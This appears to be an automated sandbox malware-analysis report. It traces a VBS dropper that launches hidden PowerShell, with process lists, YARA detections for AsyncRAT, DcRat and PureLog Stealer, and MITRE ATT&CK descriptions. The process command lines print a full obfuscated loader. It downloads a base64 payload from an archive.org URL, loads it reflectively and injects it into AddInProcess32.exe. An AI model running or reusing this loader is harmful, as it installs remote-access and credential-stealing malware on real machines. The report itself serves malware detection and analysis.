2024-10-02 03:27:14 UTC	1369	IN	Data Raw: 74 46 6d 63 47 52 68 44 55 42 51 41 77 34 43 4e 32 31 6a 62 76 6c 32 63 79 56 6d 56 73 73 6d 63 76 64 58 5a 74 46 6d 63 47 52 56 52 4f 35 69 47 41 45 77 52 41 41 41 4d 75 63 6a 4c 77 34 53 4d 48 41 51 41 4d 41 41 41 41 41 51 41 46 41 41 41 41 41 41 41 43 41 51 41 49 30 49 67 52 45 51 41 67 59 51 41 7a 64 33 62 79 68 47 56 75 39 57 61 30 42 58 5a 6a 68 58 52 75 39 6d 54 77 46 6d 63 58 5a 68 41 55 42 51 41 41 45 67 48 41 41 41 41 41 41 41 43 41 45 41 43 49 45 51 41 67 51 41 6b 41 47 68 42 45 6f 51 66 53 45 67 41 41 59 77 43 39 4a 52 41 43 41 67 42 43 30 6e 45 42 49 41 41 47 77 51 66 53 45 67 41 41 59 51 44 39 4a 52 41 43 41 67 42 46 30 52 66 53 45 67 41 41 63 67 44 39 4a 52 41 43 41 67 42 39 4a 52 41 42 41 51 42 39 4a 52 42 4f 49 41 41 47 30 6e 45 4f 45 41 Data Ascii: tFmcGRhDUBQAw4CN21jbvl2cyVmVssmcvdXZtFmcGRVRO5iGAEwRAAAMucjLw4SMHAQAMAAAAAQAFAAAAAAACAQAI0IgREQAgYQAzd3byhGVu9Wa0BXZjhXRu9mTwFmcXZhAUBQAAEgHAAAAAAACAEACIEQAgQAkAGhBEoQfSEgAAYwC9JRACAgBC0nEBIAAGwQfSEgAAYQD9JRACAgBF0RfSEgAAcgD9JRACAgB9JRABAQB9JRBOIAAG0nEOEA
2024-10-02 03:27:14 UTC	1369	IN	Data Raw: 41 41 43 45 6f 41 41 49 4d 51 42 64 41 41 43 45 45 68 45 41 67 41 42 4e 49 42 41 49 51 67 44 42 45 41 41 45 67 6e 45 42 45 41 41 46 77 52 41 42 41 41 42 70 49 52 41 42 41 51 42 6c 45 52 49 53 30 68 45 63 49 41 42 41 6f 67 44 43 45 41 41 45 67 51 41 42 41 41 42 49 41 41 41 44 77 42 41 41 4d 67 41 42 45 41 41 45 55 68 45 42 45 41 41 46 55 68 45 41 41 41 42 4b 45 51 41 41 51 67 43 41 41 77 41 46 30 52 41 42 41 51 42 46 30 42 41 41 51 51 45 53 45 51 41 41 55 51 45 53 41 41 41 45 30 67 45 42 45 41 41 46 30 67 45 41 41 41 42 34 4a 52 41 5a 49 52 46 47 63 41 43 47 49 41 48 47 49 67 41 47 49 51 46 53 59 77 41 4b 59 67 41 46 30 68 42 44 45 68 45 47 4d 51 44 53 59 77 41 43 41 41 41 44 67 6d 45 47 4d 51 43 53 59 77 41 4f 59 67 41 42 41 41 49 44 45 41 41 41 4d 51 69 Data Ascii: AACEoAAIMQBdAACEEhEAgABNIBAIQgDBEAAEgnEBEAAFwRABAABpIRABAQBlERIS0hEcIABAogDCEAAEgQABAABIAAADwBAAMgABEAAEUhEBEAAFUhEAAABKEQAAQgCAAwAF0RABAQBF0BAAQQESEQAAUQESAAAE0gEBEAAF0gEAAAB4JRAZIRFGcACGIAHGIgAGIQFSYwAKYgAF0hBDEhEGMQDSYwACAAADgmEGMQCSYwAOYgABAAIDEAAAMQi
2024-10-02 03:27:14 UTC	1369	IN	Data Raw: 67 62 41 6b 47 41 74 42 41 5a 41 45 30 43 41 41 67 62 41 38 47 41 70 42 77 63 41 49 48 41 6c 42 67 56 50 41 41 41 6f 42 41 64 41 45 47 41 51 6c 41 41 41 45 47 41 79 42 51 5a 41 30 47 41 68 42 77 51 4e 41 41 41 30 42 51 61 41 49 47 41 79 41 77 4d 4c 41 41 41 6c 42 77 63 41 77 47 41 68 42 67 52 4c 41 41 41 30 42 51 61 41 49 47 41 30 41 67 4e 4c 41 41 41 6c 42 51 64 41 49 48 41 55 6c 41 41 41 41 79 41 41 41 41 64 41 59 47 41 76 42 77 63 41 38 47 41 79 42 77 59 41 6b 47 41 4e 4e 42 41 41 4d 46 41 50 56 41 41 41 49 48 41 6c 42 77 63 41 55 56 43 41 41 41 52 41 6b 45 41 58 42 41 53 4a 41 41 41 76 42 67 5a 41 34 47 41 4a 42 41 64 41 34 47 41 6c 42 51 61 41 77 47 41 44 56 42 41 41 51 45 41 4a 42 77 56 41 67 45 41 67 41 67 63 41 49 48 41 46 46 42 41 41 49 44 41 34 Data Ascii: gbAkGAtBAZAE0CAAgbA8GApBwcAIHAlBgVPAAAoBAdAEGAQlAAAEGAyBQZA0GAhBwQNAAA0BQaAIGAyAwMLAAAlBwcAwGAhBgRLAAA0BQaAIGA0AgNLAAAlBQdAIHAUlAAAAyAAAAdAYGAvBwcA8GAyBwYAkGANNBAAMFAPVAAAIHAlBwcAUVCAAARAkEAXBASJAAAvBgZA4GAJBAdA4GAlBQaAwGADVBAAQEAJBwVAgEAgAgcAIHAFFBAAIDA4

Target ID:	0
Start time:	23:27:05
Start date:	01/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\vr65co3Boo.vbs"
Imagebase:	0x7ff60d610000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:27:06
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:27:06
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	23:27:08
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.2142512809.00000156EB570000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000004.00000002.2106713768.00000156D35A4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000004.00000002.2106713768.00000156D35A4000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.2122604087.00000156E3597000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:27:13
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x510000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000005.00000002.3331586061.0000000004D50000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000005.00000002.3319533958.0000000000A8E000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000005.00000002.3319533958.00000000009E7000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000005.00000002.3318989438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000005.00000002.3318989438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DcRat_2, Description: Yara detected DcRat, Source: 00000005.00000002.3322084627.0000000002811000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000005.00000002.3322084627.0000000002811000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Function 00007FF848DE37B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2166535776.00007FF848DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 3180702646baf650afe695d9ef40d3f1c3ed4a32b0d6ebc017e5ec43a6c94b48
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: EE01447111CB094FD748EF0CE451AB6B7E0FB99364F10056DE58AC3655D726E882CB45

Analysis Process: powershell.exePID: 2360, Parent PID: 1960COMMON

Executed Functions

Function 00007FF848E9039C Relevance: 2.7, Strings: 1, Instructions: 1468COMMON

Download Yara Rule

Strings

H, xrefs: 00007FF848E905AC

Memory Dump Source

Source File: 00000004.00000002.2146881465.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 1093e7138d02c61e8f65a002d76e57e9a38ab70008c0d7d1612f7f1c562b2085
Instruction ID: ab656cd09ef24463ad9c16e610d33bccc71c3d571905c3d068902314ba678611
Opcode Fuzzy Hash: 1093e7138d02c61e8f65a002d76e57e9a38ab70008c0d7d1612f7f1c562b2085
Instruction Fuzzy Hash: DA926631E0EB894FE79ABA6C58192B47BE1FF96264F4801FBC04DC7193DE689C058395

Function 00007FF848E90FC2 Relevance: 4.9, Instructions: 4871COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2146881465.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c633d075155ea79e71137d4601461007046f6a2e18f092f1ab1521b78b5caefa
Instruction ID: e258653fa08ffe3c7a6d84ae816cb2fd8f5c2c6503ac946e19e432dc92472ae3
Opcode Fuzzy Hash: c633d075155ea79e71137d4601461007046f6a2e18f092f1ab1521b78b5caefa
Instruction Fuzzy Hash: 0A83EB7051DB854FD766DB6C8896D9ABBE1FF95300F14069EC089C72A3DB34A842C786

Function 00007FF848E91010 Relevance: 4.8, Instructions: 4787COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2146881465.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f6a09f9f4c0f3e22b3cdc5628b56f1c183f6213296e310be95505390859d3e6
Instruction ID: ad800209c1621dd4488227677e705f908e47b3d62fa324f214064483e1612a0f
Opcode Fuzzy Hash: 2f6a09f9f4c0f3e22b3cdc5628b56f1c183f6213296e310be95505390859d3e6
Instruction Fuzzy Hash: 6783EB7051DB854FD766DB6C8896D9ABBE1FFA5300F14069EC08987293DB34B842CB86

Function 00007FF848DC3AF7 Relevance: 2.2, Strings: 1, Instructions: 912COMMON

Download Yara Rule

Strings

`\_H, xrefs: 00007FF848DC41DE

Memory Dump Source

Source File: 00000004.00000002.2146372571.00007FF848DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848dc0000_powershell.jbxd

Similarity

API ID:
String ID: `\_H
API String ID: 0-987789298
Opcode ID: 14eba2a09eae28af7c5bbcaab2b000fac9d2aa4e2b80a83866cc70bc46a88216
Instruction ID: 85e6f748504585da9d88655d8fa5a4b21d554e4fd23a59f9952f561f8a81affe
Opcode Fuzzy Hash: 14eba2a09eae28af7c5bbcaab2b000fac9d2aa4e2b80a83866cc70bc46a88216
Instruction Fuzzy Hash: 9B22B531A1DA498FDB98EF1CC485AB9BBE1FF69390F144179D049C7296CB35E846CB80

Function 00007FF848E95562 Relevance: 1.6, Strings: 1, Instructions: 372COMMON

Download Yara Rule

Strings

H, xrefs: 00007FF848E95590

Memory Dump Source

Source File: 00000004.00000002.2146881465.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 9cc88ebb67862892b078bc0d3946370b506f5bfbb79387a265ea497bdf1d04c3
Instruction ID: c8951d25346beab94483a253812a413ea5e9bbb1cad716a32ffebe836f81d834
Opcode Fuzzy Hash: 9cc88ebb67862892b078bc0d3946370b506f5bfbb79387a265ea497bdf1d04c3
Instruction Fuzzy Hash: 9DB15721E0EB8A8FE396AA7C18291B57FE1FF46298F0801FAD45DC71D3DE689C058355

Function 00007FF848E9560A Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2146881465.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cb83f7d30617b034b175961c6370de9b8f3a536ff8884cc31f38a3c2da36fa3
Instruction ID: e2cd3f76db50af425994fabf05b3acc9cc24264c646fad085b3accae743b14f6
Opcode Fuzzy Hash: 4cb83f7d30617b034b175961c6370de9b8f3a536ff8884cc31f38a3c2da36fa3
Instruction Fuzzy Hash: EE413822E1FE878FF39976AC14592746AD2FF812E8F4800B9C42DC71D3DE689C050309

Function 00007FF848E903EB Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2146881465.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d9fcc83842078d05bdf196e6e066b1ee6f2020bdea0c0a8b8f22fe8f37cfbbd
Instruction ID: aecd55b791f13d0a2d907bf0ebe7c6fee7d5901d3931fcb96c4d674b138a9152
Opcode Fuzzy Hash: 9d9fcc83842078d05bdf196e6e066b1ee6f2020bdea0c0a8b8f22fe8f37cfbbd
Instruction Fuzzy Hash: A541C131E1DA5A4FE7E8FAAC5498274A2D2FF94298F8801BAD40DC7182EFB4DC458344

Function 00007FF848E903D3 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2146881465.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b87702bd1801fda40437d91e96ee9b12c544e365391a75889c8a24f2b359139
Instruction ID: f1b9b98bcadf99ca20cc071f5bed1ea69fe9e3b8f64d81799abf7cfb1593c62f
Opcode Fuzzy Hash: 3b87702bd1801fda40437d91e96ee9b12c544e365391a75889c8a24f2b359139
Instruction Fuzzy Hash: 8431BF21F1D95A4FE7E4FAAC5494278A2C2FF54298F8801B5C40DC7183EFB8EC418384

Function 00007FF848DC4895 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2146372571.00007FF848DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9e2812d27e8efc53c87284ab9a2a9a727d891003e3d22b3ff620a71f99d9fa4
Instruction ID: 2d9c1a878c234ff6212c47e53f35a9b311a451c3f70a217fbb8ed7b33531fc8d
Opcode Fuzzy Hash: d9e2812d27e8efc53c87284ab9a2a9a727d891003e3d22b3ff620a71f99d9fa4
Instruction Fuzzy Hash: 7601447111CB084FD744EF0CE451AB5B7E0FB95364F10056DE58AC3655D726E881CB45

Analysis Process: AddInProcess32.exePID: 4308, Parent PID: 2360COMMON

Execution Graph

Execution Coverage:	16.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	1

Executed Functions

Function 025F2074 Relevance: 1.6, APIs: 1, Instructions: 77
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 025F2111

Memory Dump Source

Source File: 00000005.00000002.3321740736.00000000025F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_25f0000_AddInProcess32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 61c6761f79bf8e788dea664ef4e40402cf5053142045450335945cbd593bd453
Instruction ID: 9245282426ed4e90051c375be9cb29ddc9ab9cba43234de2daaa74213f5c6e65
Opcode Fuzzy Hash: 61c6761f79bf8e788dea664ef4e40402cf5053142045450335945cbd593bd453
Instruction Fuzzy Hash: 4E31E1B0D012489FDB14CFA9C584BDDBFF5AF48310F248029E509AB264DB75A945CF94

Function 025F2080 Relevance: 1.6, APIs: 1, Instructions: 71
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 025F2111

Memory Dump Source

Source File: 00000005.00000002.3321740736.00000000025F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_25f0000_AddInProcess32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7ba8d0d03c2f6cab6511d9b1c0ba2fad6d57517eb5f5718b50c904976a80a9dc
Instruction ID: 69e7a592b699233ac3289b0a7c80bb77734f04808ade32a321305577b6189a56
Opcode Fuzzy Hash: 7ba8d0d03c2f6cab6511d9b1c0ba2fad6d57517eb5f5718b50c904976a80a9dc
Instruction Fuzzy Hash: 0231EFB0D012489FDB14DF99C584B8EBFF5AF48310F248029E509AB3A4DB79A985CB94

Function 025F22D1 Relevance: 1.6, APIs: 1, Instructions: 65
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 025F234C

Memory Dump Source

Source File: 00000005.00000002.3321740736.00000000025F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_25f0000_AddInProcess32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: aeb78dc4b721ab9d61579fc1ae887dd71d58f1c43564cf923b42aab09437eabe
Instruction ID: 70a7a62eaa4e73c5b60a4af74fcd1bb96022be44ed698f9c2d0f3980aa19c2c8
Opcode Fuzzy Hash: aeb78dc4b721ab9d61579fc1ae887dd71d58f1c43564cf923b42aab09437eabe
Instruction Fuzzy Hash: 3A2134B1C006489FCB20DFAAC884AEEFBF4FF58310F20841AD859A7250D7799945CFA0

Function 025F22D8 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 025F234C

Memory Dump Source

Source File: 00000005.00000002.3321740736.00000000025F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_25f0000_AddInProcess32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e09c2c82bab78ec64647adfdb9eb0ce5d236de6ab64b5bd0ac0ac924a252c9f5
Instruction ID: bee13daf81c195793d5afe451c8ff16c0aa433d44e7b70facb8fc2d832fa89f7
Opcode Fuzzy Hash: e09c2c82bab78ec64647adfdb9eb0ce5d236de6ab64b5bd0ac0ac924a252c9f5
Instruction Fuzzy Hash: 881106B1D002099FCB10DFAAC844AEEFBF5FF48310F10842AD519A7250C779A944CFA1

Function 0259D3B4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3321414338.000000000259D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0259D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_259d000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 577ba05eb401e079475902bb978431aa90c156a1aa2befb9399c267ba7ba5289
Instruction ID: 129a2bbd7fb2ed8ec3f979f38711a2c5edd5a1bb36b434ddb5b8986d82642386
Opcode Fuzzy Hash: 577ba05eb401e079475902bb978431aa90c156a1aa2befb9399c267ba7ba5289
Instruction Fuzzy Hash: CB2100B1501204EFDF09EF14D9C0F26BF75FB88324F24C569E9090B256C37AE456CAA2

Function 0259D3AF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3321414338.000000000259D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0259D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_259d000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: fffa720649d51c0c805a868a33f70f9da8dbfbfc5e94d9fb467c937405ace332
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: B5112676404280CFCF06DF10D5C4B16BF71FB84314F24C5A9D8490B656C33AE45ACBA2

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

